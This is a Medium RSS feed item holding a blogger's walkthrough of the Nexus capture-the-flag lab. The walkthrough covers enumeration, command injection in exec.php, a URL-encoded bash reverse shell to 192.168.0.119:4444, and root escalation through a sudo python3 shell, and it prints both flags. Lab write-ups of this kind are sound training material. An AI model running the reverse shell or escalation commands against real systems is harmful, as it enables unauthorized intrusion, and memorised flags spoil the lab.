<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by SecBeast on Medium]]></title>
        <description><![CDATA[Stories by SecBeast on Medium]]></description>
        <link>https://medium.com/@sresercher50?source=rss-b1be9bb0bc8f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3Cwhm1mQ7iiygxf6bHFTJw.jpeg</url>
            <title>Stories by SecBeast on Medium</title>
            <link>https://medium.com/@sresercher50?source=rss-b1be9bb0bc8f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 05:20:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sresercher50/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ Rooting Nexus CTF — My Complete Walkthrough]]></title>
            <link>https://medium.com/@sresercher50/rooting-nexus-ctf-my-complete-walkthrough-367b70d41e14?source=rss-b1be9bb0bc8f------2</link>
            <guid isPermaLink="false">https://medium.com/p/367b70d41e14</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[SecBeast]]></dc:creator>
            <pubDate>Tue, 08 Jul 2025 12:50:38 GMT</pubDate>
            <atom:updated>2025-07-08T13:06:02.872Z</atom:updated>
            <content:encoded><![CDATA[<h3>🚀 Rooting Nexus CTF — My Complete Walkthrough</h3><p>By SecBeast | Cybersecurity Learner &amp; Bug Bounty Hunter</p><p>Recently, I attempted the <strong>Nexus CTF machine</strong> and learned crucial lessons about troubleshooting, privilege escalation, and using the right tools effectively. Here is my detailed write-up to help fellow learners understand the approach step by step.</p><h3>🔧 1. Deployment Issues &amp; Solution</h3><p>At first, I imported <strong>Nexus VM into VMware</strong>, but:</p><ul><li>I <strong>could not find its IP address</strong> using <strong>netdiscover</strong> for two days.</li><li>I was trying exploitation on wrong IPs, wasting time and energy.</li></ul><h3>✅ Fix:</h3><ol><li>Deleted Nexus from VMware.</li><li>Imported it into <strong>VirtualBox</strong>.</li><li>Set <strong>Bridged Mode</strong> in VirtualBox for Nexus.</li><li>Kept Kali Linux in VMware also on <strong>Bridged Mode</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*KuAEFOWN3bcq963hgg-SMA.png" /></figure><p>✔️ <strong>Result:</strong> Both VMs were on the same network, and <strong>netdiscover immediately showed the correct IP</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*6f1YFAzgk5YS0Q0WJShRvA.png" /></figure><h3>🔎 2. Scanning for Open Ports</h3><p>Using <strong>nmap</strong>, I found:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*L6GyVl0Bs6HGHcp8_aqAiQ.png" /></figure><ul><li><strong>SSH (open ssh) (port 22)</strong></li><li><strong>Samba</strong> (custom port <strong>10008</strong>)</li><li><strong>Apache HTTP (Port 80)</strong></li></ul><h3>🌐 3. Exploring the Web Server</h3><p>Visiting http://192.168.0.124 in the browser showed the default page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*58VIFqgQ9-EniWYQn0QPbg.png" /></figure><h3>robots.txt discovery</h3><p>I checked <strong>/robots.txt</strong> (habit from bug hunting):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*XxZR0K9FD9_1ESSqAmL2rA.png" /></figure><p>✔️ Interesting points:</p><ul><li><strong>/admin/</strong> and <strong>/rules.html</strong> gave 404.</li><li><strong>/root-flag</strong> asked for a flag input.</li><li><strong>/blog/</strong> had a wildcard *, indicating hidden files or directories.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*vFnwT00QpoS25gmew3KsKw.png" /></figure><h3>4. Directory Bruteforcing</h3><p>dirsearch -u 192.168.0.124/blog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*sTbq5TjtwIfpiImyXrwcrQ.png" /></figure><p>🔍 <strong>Found files:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*sI68yt74VueZDaJS9fswGg.png" /></figure><p>To view-source: <a href="http://192.168.0.124/blog/a/exec.php">http://192.168.0.124/blog/a/exec.php</a></p><p>&lt;! — <a href="https://book.hacktricks.wiki/en/pentesting-web/command-injection.html">https://book.hacktricks.wiki/en/pentesting-web/command-injection.html</a> →</p><p><em>“This clearly indicate to it was vulnerable to a command injection”</em> → change to <strong>“This clearly indicated it was vulnerable to command injection.”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*955-QcEJH2JezV8Q0fweGQ.png" /></figure><p>💻 <strong>5. Command Injection Exploitation</strong></p><p><strong>Reverse Shell Payload</strong></p><p><a href="http://192.168.0.124/blog/a/exec.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.119%2F4444%200%3E%261%27%0A">http://<strong>192.168.0.124/blog/a/</strong>exec.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<strong>192.168.0.119</strong>%2F4444%200%3E%261%27%0A</a><strong> (URL encoded) payload</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Svt4J3yumTr6hZ1BoFrYBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*wZifTrqHyI_wxpohtga0ig.png" /></figure><p><strong>User Flag Found and validate it from ./validate_pin.sh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*E1hfgILH7p3DAHdmqjT6iQ.png" /></figure><p>⚡ <strong>7. Privilege Escalation to Root</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*rOc-vR1r5mRWU7X8bZcRVA.png" /></figure><p>Getting a user to root shell via : <strong>sudo /usr/bin/python3 -c ‘import os; os.system(“/bin/sh”)’ </strong>Because user had <strong>NOPASSWD</strong> rights to run Python as root, allowing direct shell spawn.</p><p>🏁 <strong>8. Capturing Root Flag</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*voumkESVGBxfMLTS3loF-Q.png" /></figure><p>Root Flag : <strong>flag{d3fr0nix_w3rr10r_r00t_4532}</strong></p><p>User Flag: <strong>flag{d3fr0n1x_w4rr10r_us3r_3411}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*z0ThAIecd8Kl5c7S0RLriw.png" /></figure><h3>💡 Lessons Learned</h3><ol><li><strong>Try simplest solutions first.</strong><br> Don’t repeat failed steps blindly. Pause, analyze mistakes, and adjust your approach.</li><li><strong>Never depend on a single tool.</strong><br> If one fails, research alternatives and explore new methods.</li><li><strong>Understand hints properly.</strong><br> I wasted two days just due to incorrect network setup. Switching to VirtualBox solved it instantly.</li></ol><h3>Conclusion</h3><p>This CTF improved my skills in <strong>network troubleshooting, enumeration, command injection, and privilege escalation</strong>. Always remember:</p><blockquote>“Don’t get stuck on one way. Keep your mind open, analyses your mistakes, and use all available resources efficiently.”</blockquote><h3>🙏 Thanks for reading!</h3><p>If you found this write-up helpful, <strong>follow</strong> for more real-life CTF walkthroughs and bug bounty tips. Connect with me on <strong>LinkedIn</strong> for discussions.<br><strong><em>Thanks to </em></strong><a href="https://medium.com/u/ae85c9e708cc"><strong><em>incoggeek</em></strong></a><strong><em> for creating and sharing this CTF. It was an excellent learning experience.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=367b70d41e14" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>